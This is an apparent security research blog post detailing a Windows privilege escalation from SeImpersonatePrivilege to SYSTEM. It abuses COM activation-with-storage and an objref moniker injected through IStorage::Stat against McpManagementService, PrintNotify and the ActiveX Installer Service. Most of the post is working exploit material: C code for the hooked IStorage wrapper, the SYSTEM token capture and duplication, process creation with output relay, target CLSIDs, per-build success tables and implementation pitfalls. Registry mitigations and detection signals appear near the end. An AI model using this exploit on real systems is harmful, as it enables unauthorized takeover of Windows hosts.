chu@antisec:~/research$

← ../ mcpmanagementservice-seimpersonate-system

chu@antisec:~/research$ cat mcpmanagementservice-seimpersonate-system

Objref-in-Stat: exploiting COM services in svchost for SeImpersonatePrivilege escalation → SYSTEM

Full analysis of the activation-with-storage primitive applied to McpManagementService, of its generalization through systematic svchost group enumeration — which revealed two additional exploitable services (CIeAxiInstallerService and PrintNotify) — and of the engineering of executing with the captured token. validated on server 2019, server 2022, server 2025 and windows 11 25H2, cold-start and session 0 included.



the exploitation model and the state of the art

Service accounts on windows carry SeImpersonatePrivilege: the ability to assume the security context of whoever connects to them. the entire exploit family known as potato abuses a single primitive derived from that privilege:

the primitive — convince a process that already runs as SYSTEM to authenticate against a resource the attacker controls. impersonating the client turns the received token into code execution. the variants differ only in who the lured SYSTEM is and which resource it touches.

the classic implementations lured SYSTEM through different paths: coercion via the MS-RPRN spooler (PrintSpoofer, opnum 65, with the \\HOST/pipe/PATH normalization trick), the EFSR stream, generic DCOM activation via OXID/DSA (GodPotato) and an SSPI hook (JuicyPotatoNG). on modern builds, though, those paths were closed in a coordinated way:

  • svchost groups exposing COM classes had their ImpersonationLevel downgraded to 2 (IDENTIFY) — the print group went first, on 24H2+;
  • the \pipe\spoolss listener was removed from the epmapper on client builds;
  • OXID/DSA flow bindings started getting discarded;
  • EFSR gained authentication checks on the service side and retired the old UUIDs.

the research question driving this article isn't how to bypass each mitigation individually — it's how to identify COM services hosted in svchost that still run at the default impersonation level (3 = IMPERSONATE) and accept activation flows in which the service processes an attacker-marshaled object. the answer took two phases: implementing the primitive against McpManagementService (sections 4–7) and the systematic enumeration of svchost groups, which surfaced two more services exploitable by the same recipe (sections 8–9).


the vulnerability criterion: per-group impersonation in the registry

McpManagementService ("Universal Print Management Service") is a SYSTEM service hosted in svchost -k McpManagementServiceGroup, with a start type of demand, present by default on server 2022+, server 2025 and modern windows 11. its main class is registered as follows:

registry — CLSID, AppID and the svchost groupcmd
; HKLM\SOFTWARE\Classes\CLSID\{A9819296-E5B3-4E67-8226-5E72CE9E1FB7}
    (Default)    = Universal Print Management Manager Class
    AppID        = {C08E4363-9771-4955-A002-09932AE4874B}
; HKLM\SOFTWARE\Classes\AppID\{C08E4363-...}
    LocalService = McpManagementService
; HKLM\...\Svchost\McpManagementServiceGroup
    → subkey ImpersonationLevel AUSENTE = nível padrão 3 (IMPERSONATE)

the relevant defense control is the ImpersonationLevel subkey under the svchost group: when present, it sets the ceiling of the token the service receives from clients; when absent, the platform default (3) applies. this is the same policy Microsoft applied to the print group — and this technique's vulnerability criterion boils down to one line:

criterion — no ImpersonationLevel in the svchost group = SYSTEM within reach for a caller holding SeImpersonatePrivilege, provided the class accepts the activation-with-storage flow. a value of 2 caps the callback token at IDENTIFY and kills the technique.

the recon fits in three registry commands (CLSID → AppID → LocalService → group → whether the subkey exists), reproducible on any target host with no additional elevation.


DCOM fundamentals: OBJREF, the objref moniker and activation-with-storage

the primitive leans on three DCOM mechanics that, in isolation, are documented and harmless behavior. this section rebuilds each one at the level of detail needed for section 4's step by step to be followed without gaps — and closes with the view of the complete data path during exploitation. every byte and string example below is real: captured by the section 8 probe during the validation runs.

3.1 ORPC: when a COM object crosses the process boundary

a COM object lives inside a process. when another process gets a reference to it, what crosses the boundary isn't the object — it's a wire structure, the OBJREF, which describes where the real interface lives and which interface it is. the remote side receives a proxy; every method called on the proxy becomes an ORPC call that travels back to the exporting process and executes on the real object. two properties matter for the technique:

  • ORPC calls execute on the exporter — whoever wrote the object chooses what happens when someone touches it;
  • the callback's impersonation level is set by the caller (its call QOS) — that detail separates the exploitable vectors from the useless ones, as section 9.1 demonstrates.

3.2 the anatomy of the OBJREF

the standard marshaling OBJREF has a fixed header and a variable body. below, the real bytes of the first OBJREF emitted by the probe during the validation runs (before the base64 that forms the display name):

4d454f57  signature  "MEOW"                 ← canonical signature of every OBJREF
01000000  flags      0x1 = OBJREF_STANDARD
00000000 00000000
c0000000 00000046  iid     IID_IUnknown            ← the marshaled interface
01000000 00000000  oxid                            ← identifies the exporting PROCESS
af00dd80 e601abe8 535ecac3 59e28bb5  ipid          ← the exact interface, inside it
0234 0000 68227c0f 5cb1bcee ad1def88 85006f00 ...
                   saResAddr  DUALSTRINGARRAY — the exporting OXID resolver's
                              binding: hostname, IPv4, IPv6, MAC
fig 01 — OBJREF captured by the probe on server 2025: the fixed fields (48 bytes) and the start of the string binding. inside the bait travels the attacker's full address: OXID, IPID and the resolver binding with hostname and IPs.

field by field:

fields of the standard OBJREF
fieldbytesrole
signature40x574F454D — the "MEOW" constant, present in every OBJREF
flags4body format: 0x1 standard, 0x2 handler, 0x4 custom
IID16the marshaled interface (in the probe: IID_IUnknown)
OXID8identifies the exporting process — the target of the bind
IPID16identifies the specific interface within the exporting process
string bindingvariableDUALSTRINGARRAY with the hostname/addresses of the exporter's OXID resolver

a note for defenders — the OBJREF string binding embeds the hostname and network addresses of whoever exports it. in this technique's flow, that identity travels inside the string the service receives in Stat: a service that logs the resolved name is, without knowing it, logging the attacker's origin.

3.3 the OXID resolver: how the bind finds the process

an OXID, on its own, is just a number. what turns it into a connection is the OXID resolver: an RPCSS service present on every windows machine, which keeps the local table of OXID → string binding. when a process resolves an OBJREF, the runtime walks three steps: (1) read the string binding embedded in the OBJREF; (2) connect to the indicated OXID resolver; (3) trade the OXID/IPID for the interface's concrete location — for local objects, a direct ALPC channel to the exporting process. from there on, methods called on the local proxy become ORPC on the exporter. this is also the service that processes activation requests — the same RPCSS that receives the next section's CoGetInstanceFromIStorage.

the objref moniker and activation-with-storage

3.4 the objref moniker: the display name as a marshaling vector

monikers are COM's mechanism for locating and activating objects by name. the objref moniker (CreateObjrefMoniker) has a peculiar property: its GetDisplayName produces a string in the format objref:<OBJREF in base64> — the name is the serialized OBJREF itself. the standard MkParseDisplayName pipeline recognizes the objref: prefix and dispatches it to the parser that decodes the payload and performs the bind exactly as in the previous section: it connects to the OXID/IPID and hands the interface to the caller. a real example from the probe — the complete bait the Stat hands back to the service:

objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGAQAAAAAAAACvAN2A5gGr6FNeysNZ4ou1AjQA
      AGgifA9csbzurR3viIUAbwAHAFcASQBOAC0AUgBHAEIAQgBGADAAOQBSAEcASwBCAAAABwAx
      ADkAMgAuADEANgA4AC4AMAAuADEAOAAwAAAABwAyADgAMAA0ADoAMQA0AGQAOgA3ADgAZAA1
      ADoANAA4ADIANwA6AGIAOAAzADIAOgA4ADkAMgBkADoANgBmADEANAA6ADEAOQA0ADkAAAAH...
      │ prefix   │ base64: MEOW + flags + IID_IUnknown + OXID/IPID + binding
      │ "objref:"│ (hostname WIN-RGBBF09RGKB and the lab's addresses, in UTF-16)
fig 02 — real display name captured by the probe. whoever decodes it knows exactly which process and interface sit behind it — and where they are.

3.5 activation-with-storage: the complete sequence

CoGetInstanceFromIStorage is DCOM's contract for "instantiate this class and initialize it from this storage". the contract requires the class to implement IPersistStorage or IPersistFile — and that's where the door opens: the caller's storage is marshaled to the server, and initialization executes storage methods on the caller. the complete sequence:

activation-with-storage sequence: attacker, SCM, svchost and storage proxy
fig 03 — activation-with-storage: the caller's storage is marshaled to the server, and the load makes the svchost call back into the attacker's methods.

the impersonation level these calls arrive with depends on the QOS the server used on them — and that's exactly the variable that separates the exploitable services from the useless ones, as section 9.1 quantifies.

3.6 assembling the primitive

the data path during exploitation, with the three mechanics stitched together:

objref-in-Stat loop: bait, MkParseDisplayName, bind and impersonation
fig 04 — objref-in-Stat: the service resolves the string the attacker chose and the bind re-enters the attacker's process.

with the fundamentals in place, the eight steps of the implementation (section 4) are the engineering of making this sequence happen reliably — including on cold-start and session 0.

the full path, in eleven steps: 1 SeImpersonatePrivilege in the attacker's process · 2 STA + CoInitializeSecurity (IMPERSONATE) · 3 IStorage wrapper with 18 instrumented slots · 4 CreateObjrefMoniker → objref:... bait · 5 demand-start (CoCreateInstance) · 6 CoGetInstanceFromIStorage(wrapper) · 7 the svchost resolves the name via MkParseDisplayName → attacker's OXID/IPID · 8 bind → QI/Release ORPC re-enters the attacker · 9 CoImpersonateClient → SYSTEM token (imp=3) · 10 NtDuplicateToken → TokenPrimary · 11 CreateProcessAsUserW → nt authority\system.


the objref-in-Stat primitive, step by step

the reference implementation (the Tabellio tool, mcp mode, native C) walks through below the design decisions behind each phase of the sequence — from apartment setup to the final trigger.

4.1 the STA apartment and security configuration

apartment + security — design decisionsc
hr = CoInitialize(NULL);                      // STA — obrigatório (§7, armadilha 1)

SOLE_AUTHENTICATION_INFO sai = { RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL };
hr = CoInitializeSecurity(NULL, 1, &sai, NULL,
                          RPC_C_AUTHN_LEVEL_CONNECT,   // CONNECT é suficiente
                          RPC_C_IMP_LEVEL_IMPERSONATE, // o serviço também pode impersonar o chamador
                          NULL, EOAC_DYNAMIC_CLOAKING, NULL);

two design points. the STA is a structural requirement: the ORPC callbacks to the wrapper are delivered by the apartment's message pump, and it is the blocking CoGetInstanceFromIStorage call that pumps them. the RPC_C_IMP_LEVEL_IMPERSONATE is the level at which the attacker's process presents itself as a COM client on outbound calls (with dynamic cloaking) — the exact values from the reference recipe, used unchanged across every validation run.

4.2 the real storage underneath the wrapper

real in-memory storagec
CreateILockBytesOnHGlobal(NULL, TRUE, &plb);
StgCreateDocfileOnILockBytes(plb, STGM_CREATE|STGM_READWRITE|STGM_SHARE_EXCLUSIVE, 0, &stg);

a real, functional IStorage is created in memory. after the capture, the wrapper forwards every operation to it — the service's code proceeds without errors, with no behavior that betrays the interception.

4.3 the wrapper: 18 vtable slots, all instrumented

IStorage exposes 18 vtable entries: IUnknown (0–2), fourteen specific methods (3–16) and Stat (17). the wrapper replaces all eighteen:

IStorage wrapper — capture on every slotc
HRESULT mcp_QI(void* self, REFIID riid, void** ppv) {
    Capture("QI");                              // tenta capturar em todo callback
    if (IsIUnknown(riid) || IsIStorage(riid)) { *ppv = self; return S_OK; }
    *ppv = NULL;
    return E_NOINTERFACE;
}

ULONG mcp_Release(void* self) {
    Capture("Release");                          // alguns caminhos do serviço só tocam Release
    return 1;
}

HRESULT mcp_Stat(void* self, STATSTG* p, DWORD flags) {
    Capture("Stat");
    if (capturado)
        return fwd_real(17, p, flags);          // pós-captura: repassa (evita re-bind em loop)

    memset(p, 0, sizeof(*p));
    p->type = STGTY_STORAGE;
    if (!(flags & STATFLAG_NONAME)) {
        p->pwcsName = (LPOLESTR)CoTaskMemAlloc((wcslen(g_objref) + 1) * sizeof(WCHAR));
        wcscpy(p->pwcsName, g_objref);           // ← O GANCHO: nome = objref moniker
    }
    return S_OK;
}

three decisions proved necessary. first: every method invokes the capture routine — service paths touch QI/Release without going through Stat in some sequences. second: Stat injects the objref exactly once; after the capture, it forwards to the real storage — re-injecting can make the service re-resolve the moniker in a loop. third: the pwcsName must be born from CoTaskMemAlloc — the caller frees it with CoTaskMemFree, and a different allocator produces heap corruption (0xC0000374) in the service's process.

4.4 creating the objref moniker

objref moniker — the display name as baitc
CreateObjrefMoniker((IUnknown*)&wrapper, &mon);
CreateBindCtx(0, &ctx);
// GetDisplayName é o slot 20 da vtable de IMoniker
// (IUnknown 3 + IPersist 1 + IPersistStream 4 + 12 métodos de IMoniker)
hr = ((fnGDN)vt[20])(mon, ctx, NULL, &name);
// name = "objref:T...:<OBJREF do wrapper — OXID/IPID do processo do atacante>"

at this moment the wrapper becomes exported: the internal marshaling of GetDisplayName registers the attacker's process OXID in the local resolver's table, and the display name now carries everything another process needs in order to connect back to it.

4.5 demand-start

demand-start — waking the svchostc
if (SUCCEEDED(CoCreateInstance(&clsid_principal, NULL, CLSCTX_LOCAL_SERVER,
                               &IID_IUnknown, (void**)&punk))) {
    punk->lpVtbl->Release(punk);        // ativação simples: apenas acordar o svchost
}

the service has a demand start type. this initial activation exists so that the SCM launches it via the AppID's LaunchPermission — including on cold-start, validated with the service stopped before every run.

4.6 the trigger and the CLSID fallback

trigger — activation-with-storage with fallbackc
for (c = 0; c < NCLSIDS && !capturado; c++) {
    MULTI_QI qi = { .pIID = &IID_IUnknown };
    hr = CoGetInstanceFromIStorage(NULL, &clsids[c], NULL, CLSCTX_LOCAL_SERVER,
                                   (IStorage*)&wrapper, 1, &qi);
    for (i = 0; i < 3 && !capturado; i++) Sleep(1000);   // janela para o bind orquestrado
}

on the service side, the sequence as reconstructed from observed behavior: the activation arrives with the IStorage marshaled; during initialization-from-storage, the service resolves the storage's name through the moniker pipeline (MkParseDisplayName); the objref: prefix routes to the objref parser, which unmarshals the embedded OBJREF — the attacker's process OXID/IPID — and performs the bind: QI/Release ORPC calls delivered to the wrapper, on the attacker's STA, under the svchost's identity. the final HRESULT of the activation is typically 0x80004002 — irrelevant to the primitive, since the capture happens during the unmarshal, before the return.

the loop tries multiple CLSIDs: the group's main class and — a result of the section 8 enumeration — classes from other groups that respond to the same primitive. each candidate that fails costs up to 3 seconds of window, which makes the ordering of the candidates part of the design: the first one should be the one with the highest observed success rate.

why it works in session 0, SSH and WinRM — the moniker bind is local ALPC: the svchost resolves the OXID through the machine's own resolver and connects to the attacker's process. nothing in the flow depends on a console, a parked desktop or the network. the full one-shot was validated over SSH with both processes in session 0.


capturing the SYSTEM token in the callback

capture routinec
static void Capture(const char* tag) {
    if (g_pwned) return;                              // guard: capturar uma vez só

    if (CoImpersonateClient() != S_OK) return;       // sem direito de impersonar: fora

    hTok = NtOpenThreadToken(GetCurrentThread(), ...); // token do thread ORPC (impersonado)
    if (hTok && IsSystemTokenNt(hTok)) {               // memcmp dos 12 bytes do SID S-1-5-18
        hPrim = NtDuplicateToken(hTok, ..., TokenPrimary, ...);
        if (hPrim) { /* primário disponível para execução */ sinaliza(); }
    }
    if (hTok) NtClose(hTok);
    CoRevertToSelf();
}

the five steps and the reasoning behind each:

  • CoImpersonateClient — the thread delivering the ORPC assumes the svchost's context. since the group allows imp=3, the token comes out at the SecurityImpersonation level: usable locally to open handles and create processes.
  • NtOpenThreadToken — the relevant token is the thread one (the impersonated token), not the process one (which remains the attacker's).
  • raw SID check — NtQueryInformationToken(TokenUser) and a memcmp of the 12 bytes of SID S-1-5-18 (01 01 00 00 00 00 00 05 12 00 00 00). the impersonation level is a ceiling: if the group has been lowered to 2, the callback still happens normally, but the token is an identification token, useless — the check makes the exploit degrade gracefully instead of failing further down the line.
  • NtDuplicateToken → TokenPrimary — an impersonation token won't feed CreateProcess*; a primary one will. the duplication happens immediately, while the thread is still impersonated.
  • signaling and revert — an event unlocks the main flow and CoRevertToSelf hands the context back. the guard prevents duplicate captures on subsequent callbacks.

executing with the primary token

6.1 CreateProcessWithTokenW doesn't allow handle inheritance

process creation APIs — inheritance and observed result
APIbInheritHandlesobserved result
CreateProcessWithTokenWTRUEfails with ERROR_INVALID_PARAMETER (87) — a restriction of the family
CreateProcessWithTokenWFALSEprocess created, but the child doesn't receive the pipe ends from STARTF_USESTDHANDLES → output lost (exit 0, silent)
CreateProcessAsUserWTRUEprocess created with inherited stdin/stdout → full relay

the resulting strategy: CreateProcessAsUserW(TRUE) as the primary path (it's the one that allows output relay over an inherited pipe), with fallback to CreateProcessWithTokenW(FALSE) — execution without relay, with output collected by redirection inside the command.

6.2 the 250 ms race in the relay

the classic relay loop (PeekNamedPipe → no data? wait → child exited? break) has a race condition: a whoami writes ~20 bytes and exits inside the wait window. waking up on WAIT_OBJECT_0, the loop breaks without reading the pipe — the output was already there and got discarded. the telltale symptom is "escalated, spawned the process, exit 0, silent". the fix is to drain the pipe after detecting the child's exit:

relay — drain after the writer diesc · breaking without draining throws the output away
else if (WaitForSingleObject(pi.hProcess, 250) == WAIT_OBJECT_0) {
    while (PeekNamedPipe(hOutR, 0, 0, 0, &rest, 0) && rest) {
        ReadFile(hOutR, buf, sizeof(buf), &n, NULL);
        WriteFile(GetStdHandle(STD_OUTPUT_HANDLE), buf, n, &n, NULL);
    }
    break;
}

the lesson worth recording: the writer dying doesn't empty the pipe — a relay's terminal state has to include a drain.

6.3 session 0 and remote channels

over SSH and WinRM, both the exploit and the child are born in session 0. nothing in the chain depends on a console or desktop: the moniker bind is local ALPC, the relay uses inherited anonymous pipes and the output rides back up the remote channel. for no-relay paths, the operational practice is to redirect inside the command itself.


implementation pitfalls

seven pitfalls and their effects
#pitfalleffect without the safeguard
1wrong apartment — the ORPC callbacks are delivered on the STA; the thread calling CoGetInstanceFromIStorage must be the same one that called CoInitialize(NULL) (ole32 dispatches during the internal block)callbacks never delivered; capture never fires; activation left hanging
2pwcsName with the wrong allocator — the caller frees it with CoTaskMemFreeheap corruption (0xC0000374) in the service's process
3re-injecting the objref after capture — Stat must forward to the real storage once capture succeedsthe service re-resolves the moniker; looping and erratic behavior
4CoUninitialize after capture — ORPCs may still be in flight on the apartmentcrash on teardown
5hooking only Stat — some service versions touch QI/Release without going through Statcapture never fires on some paths
6assuming the callback is SYSTEM — the level depends on the group and the calling context (§9.1); the SID must be checkedduplicating a useless identification token
7duplicating to impersonation instead of primary — CreateProcess* requires a primary tokenerror 5/1346 on process creation

systematic enumeration of svchost groups

with the implementation against McpManagementService wrapped up, the natural question became one of coverage: which other svchost groups are exploitable by the same primitive? the answer came from registry enumeration combined with empirical scanning, replicated across the lab's four platforms.

8.1 methodology

registry phase. crossing four sources: (1) svchost groups (HKLM\...\Svchost); (2) -k services running as LocalSystem; (3) per-group ImpersonationLevel overrides; (4) COM classes bound to those services (HKCR\AppID\* → LocalService, HKCR\CLSID\* → AppID). the output is the candidate CLSID list — SYSTEM classes in groups with no impersonation ceiling.

registry cross-referencing and per-CLSID scanning
fig 05 — enumeration: crossing the four registry sources, the impersonation filter and empirical scanning per CLSID (87 · 98 · 111 · 67 classes per build).

empirical phase. a standalone probe applies the full primitive to each candidate CLSID and reports, for each one, whether the callback fired, which SID came back, at which impersonation level and whether the primary token is duplicable. the classification convention:

the probe's classification convention
classmeaning
cap=1, implvl=2callback with a SYSTEM token at Impersonation, primary duplicable — vulnerable
cap=2, implvl=1callback with a SYSTEM SID but an Identification token — duplication fails; no escalation
cap=0no callback (activation denied, service disabled, class without support for the flow)

8.2 results per platform

scan per platform
platformclasses without overrideprobedcap=1 (vulnerable)cap=2 (IDENTIFY)cap=0
server 2022 (20348.5622, CUs 09/2026)87 across 12 groups8725728
server 2025 (26100.32230)101 across 16 groups9827224
win 11 25H2 (26300.9550)111 across 20 groups11128425
server 2019 (17763.9245, CUs 10/2026)67 across 11 groups6725312

desktop-only groups showed up in the 26300 enumeration (IsolationSession, SDRSVC, rdxgroup), and a relevant architectural fact emerged on 20348: the print group has no override on that build (imp=3) — the downgrade is specific to 24H2+. server 2019 (17763.9245) repeated the profile: 67 classes across 11 groups, print still at imp=3 — and no McpManagementService (the service doesn't exist on that build).

8.3 the three vectors

on every platform, exactly two services per build answered with a SYSTEM token at Impersonation. the union of the three covers every build:

the three objref-in-Stat vectors
#CLSIDgroup / serviceSYSTEM on
1{A9819296-E5B3-4E67-8226-5E72CE9E1FB7}McpManagementServiceGroup / McpManagementServiceall three platforms
2{854A20FB-2D44-457D-992F-EF13785D2B51}print / PrintNotifyserver 2022 and server 2019 (on 24H2+ the group is downgraded to 2)
3{90F18417-F0F1-484E-9D3C-59DCEEE5DBD8}AxInstSVGroup / AxInstSv — CIeAxiInstallerService (ActiveX Installer Service)server 2025, win11 25H2 and server 2019 (only server 2022 ships the service DISABLED — activation = 0x80070422)

PrintNotify is particularly notable: it's the class in the very group Microsoft downgraded on 24H2+ — on server 2022, where the group remains at imp=3, the technique delivers SYSTEM with end-to-end execution proof (nt authority\system via CreateProcessAsUserW). and AxInstSv, in turn, ships disabled by default on server 2022 (START_TYPE: 4 DISABLED) — but active on server 2019, where it delivered SYSTEM with execution proof. the behavior is non-monotonic across builds: each one has to be mapped by scanning, not by inference.

vector matrix per build
fig 06 — consolidated matrix: every build tested has at least two services that hand SYSTEM to the primitive.

results: end-to-end execution and the IDENTIFY pattern

validated end-to-end execution
targetbuildvectorresult
server 202220348.5622 (CUs 09/2026)McpManagementService (primary)nt authority\system (one-shot with relay)
server 202220348.5622PrintNotify (probe with execution proof)nt authority\system
server 202526100.32230McpManagementService (primary)nt authority\system
win 11 25H226300.9550McpManagementService (primary)nt authority\system
win 11 25H226300.9550AxInstSv — CIeAxiInstallerService (probe with execution proof)nt authority\system
server 201917763.9245PrintNotify + AxInstSv (probes with execution proof)nt authority\system

every run included a cold-start of the target service, session 0 (SSH) and artifact cleanup. the reference exploit iterates the candidate list in cost order — main class first, alternatives after — and stops at the first success.

9.1 the IDENTIFY pattern: which context the callback is born in

the scan's most significant finding is the 53–84 classes per build that fire the callback with a SYSTEM SID but an Identification token. the explanation lies in where in the service's flow the call to the attacker's proxy happens:

  • McpManagementService and AxInstSv: the service processes the activation-with-storage while impersonating the caller (the attacker — whose CoInitializeSecurity sets IMPERSONATE). outbound calls from that context — the moniker bind included — inherit that QOS, and the callbacks arrive at Impersonation (2): a usable token.
  • the remaining services: the callback is served by a worker thread with the process's default QOS (IDENTIFY). the process is SYSTEM, but the token obtained authorizes nothing.

the research question therefore refined itself from "does the callback happen?" (for ~75% of the tested classes: yes) to "is the callback born inside an impersonated context?" — a property of each service's code path, currently determinable only empirically. two consequences: (a) code execution inside the svchost happens even on the IDENTIFY classes — relevant for defense, since it's execution without escalation; (b) services that change their default QOS widen or close their exposure with no registry change at all.


mitigation and detection

10.1 primary mitigation: closing each group via the registry

mitigation — closing the groupcmd
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\McpManagementServiceGroup" ^
      /v ImpersonationLevel /t REG_DWORD /d 2 /f
:: reinicie o serviço (ou a máquina). O teto do callback vira IDENTIFY e a escalada morre.

the core recommendation is generalizing that control: audit every svchost group hosting COM classes without an ImpersonationLevel override. the primitive described here isn't specific to McpManagementService — it's specific to the impersonation level, as the three vectors of sections 8 and 9 demonstrate. the hardening Microsoft applied to the print group on 24H2+ is the model: one registry value per group, permanent.

10.2 structural telemetry

structural detection signals
signalsourcenote
service start (EID 7036) for COM groups with no legitimate activity from the application, followed by class activationSystem log + ETW COMon hosts where Universal Print/ActiveX Installer isn't in use, any start is anomalous
a SYSTEM process whose parent is a service-account process (not services.exe), created via CreateProcessAsUser/WithTokenSysmon EID 1 (lineage + token)the child has to exist for the attacker to harvest output — the lineage betrays the origin regardless of the binary
named pipe created + immediate read + chained spawn within the same windowSysmon EID 17/18generic; gains strength when correlated with the signals above
activation of the group's COM classes by service accounts with no usage historyETW COM / auditingrecon and trigger both travel through the same activation

the right division of labor — binary evasion layers can strip strings, GUIDs and imports, but they can't strip the service start, the class activation or the SYSTEM process the attacker needs in order to harvest output. that's why effective defense against this family is registry-based (closing the group) and behavioral (lineage + activation correlation), not binary signatures.


conclusions

  1. vectors die; primitives survive. the 2024+ mitigations eliminated the classic implementations, but the primitive — making a SYSTEM service impersonate the attacker during a legitimate COM flow — remains intact wherever the impersonation level wasn't downgraded. the systematic enumeration showed the exposure isn't limited to a single service: three deliver SYSTEM across the four tested builds, with combined coverage of all of them.
  2. sticking to the DCOM contract is what makes it robust. the primitive doesn't abuse a memory bug or a kernel race: it uses CoGetInstanceFromIStorage as documented, a moniker as documented and impersonation the way the service itself practices it. that's why the same code crossed three platforms unchanged — and why mitigation had to happen via the registry.
  3. the token level is a property of the callback's context. the discovery that ~75% of svchost COM classes answer the primitive — but with an IDENTIFY token — shifts the vulnerability criterion to a question about the service's code path: is the callback born inside an impersonated context? predicting that analytically is the natural direction for the next phase.
  4. the execution phase hides disproportionate pitfalls. the inheritance restriction of CreateProcessWithTokenW (error 87), the drain race in the relay and the requirement to enable SeAssignPrimaryTokenPrivilege on the impersonated token consumed more debugging time than the entire COM primitive.

the reference code, the enumeration scripts and the complete validation matrix ship with the article in the project's repository. the immediate future direction is analytic prediction of the candidates (mapping what determines the impersonated context in each class's activation path) and expanding the matrix to other builds and server images with specific roles (IIS, SQL).

references and credits

  • zcgonvh — DCOMPotato: the DCOM activation primitive with the attacker's object, the basis of objref-in-Stat
  • itm4n — PrintSpoofer and the series on SeImpersonatePrivilege
  • antonioCoco / splinter_code — JuicyPotatoNG (same family, pipe/SSPI pattern)
  • Microsoft documentation: CoGetInstanceFromIStorage, MkParseDisplayName, objref monikers, the OBJREF structure, svchost and service groups, the per-group ImpersonationLevel policy

technical security research article. for use in authorized environments only — exploiting third-party systems without authorization is a crime. reference implementation: Tabellio v1.7.1, mcp mode; enumeration and scanning tools in the project's repository.